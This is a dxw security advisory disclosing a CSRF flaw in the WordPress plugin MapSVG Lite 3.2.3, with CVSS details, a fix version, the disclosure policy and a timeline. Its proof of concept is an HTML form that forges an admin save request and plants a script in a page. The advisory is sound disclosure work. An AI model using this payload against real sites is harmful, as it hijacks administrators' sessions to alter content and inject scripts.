Details
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Software: MapSVG Lite
Version: 3.2.3
Homepage: https://en-gb.wordpress.org/plugins/mapsvg-lite-interactive-vector-maps/
Advisory report: https://advisories.dxw.com/advisories/csrf-mapsvg-lite/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

Description
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CSRF in MapSVG Lite could allow an attacker to do almost anything an admin can

Vulnerability
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The plugin uses REST requests to modify post data, and does not check the nonce when doing so.

Proof of concept
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Install the plugin on a site at http://localhost/
Ensure you have page with ID of 2.
Whilst logged in, visit an html page with this content and submit the form:

<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php?action=mapsvg_save\">
 <input type=\"text\" name=\"data[title]\" value=\"A bad value\">
 <input type=\"text\" name=\"data[mapsvg_data]\" value=\"<script>alert(\'hello\')</script>\">
 <input type=\"text\" name=\"data[map_id]\" value=\"2\">
 <input type=\"submit\">
</form>


Visit the page with ID of 2. It now has title of aA bad valuea and alerts ahelloa on loading.


Mitigations
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Upgrade to version 3.3.0 or above.

Disclosure policy
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dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://advisories.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
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2018-04-10: Discovered
2018-06-15: Author notified via email
2018-06-15: Author replied, fix to be published in next release
2019-01-08: Advisory published



Discovered by dxw:
================
Rob Skilling
Please visit advisories.dxw.com for more information.